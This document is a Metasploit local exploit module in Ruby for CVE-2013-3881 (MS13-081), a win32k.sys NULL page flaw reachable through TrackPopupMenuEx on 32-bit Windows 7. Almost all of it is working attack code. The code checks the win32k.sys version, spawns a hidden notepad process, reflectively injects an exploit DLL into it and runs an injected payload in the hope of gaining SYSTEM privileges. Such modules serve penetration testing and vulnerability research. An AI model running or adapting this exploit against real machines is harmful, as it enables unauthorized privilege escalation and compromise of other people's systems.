Windows TrackPopupMenuEx Win32k NULL Page

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/post/windows/reflective_dll_injection'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',  
'Description' => %q{  
This module exploits a vulnerability in win32k.sys where under  
specific conditions TrackPopupMenuEx will pass a NULL pointer to  
the MNEndMenuState procedure. This module has been tested  
successfully on Windows 7 SP0 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Seth Gibson', # vulnerability discovery  
'Dan Zentner', # vulnerability discovery  
'Matias Soler', # vulnerability analysis  
'Spencer McIntyre'  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
[ 'Windows 7 SP0/SP1', { } ]  
],  
'Payload' =>  
{  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' =>  
[  
[ 'CVE', '2013-3881' ],  
[ 'OSVDB', '98212' ],  
[ 'BID', '62830'],  
[ 'MSB', 'MS13-081' ],  
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],  
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]  
],  
'DisclosureDate' => 'Oct 08 2013',  
'DefaultTarget' => 0  
}))  
end  
  
def check  
os = sysinfo["OS"]  
if (os =~ /windows/i) == nil  
return Exploit::CheckCode::Unknown  
end  
  
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"  
major, minor, build, revision, branch = file_version(file_path)  
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")  
  
case build  
when 7600  
return Exploit::CheckCode::Vulnerable  
when 7601  
return Exploit::CheckCode::Vulnerable if revision <= 18126  
when 9200  
return Exploit::CheckCode::Safe  
end  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
if is_system?  
fail_with(Exploit::Failure::None, 'Session is already elevated')  
end  
  
if check != Exploit::CheckCode::Vulnerable  
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")  
end  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
print_status("Launching notepad to host the exploit...")  
notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})  
begin  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Reader Sandbox won't allow to create a new process:  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_status("Operation failed. Trying to elevate the current process...")  
process = client.sys.process.open  
end  
  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
library_path = ::File.join(Msf::Config.data_directory, "exploits",  
"cve-2013-3881", "cve-2013-3881.x86.dll")  
library_path = ::File.expand_path(library_path)  
  
print_status("Injecting exploit into #{process.pid}...")  
exploit_mem, offset = inject_dll_into_process(process, library_path)  
  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
payload_mem = inject_into_process(process, payload.encoded)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status("Payload injected. Executing exploit...")  
process.thread.create(exploit_mem + offset, payload_mem)  
  
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")  
end  
  
end  
`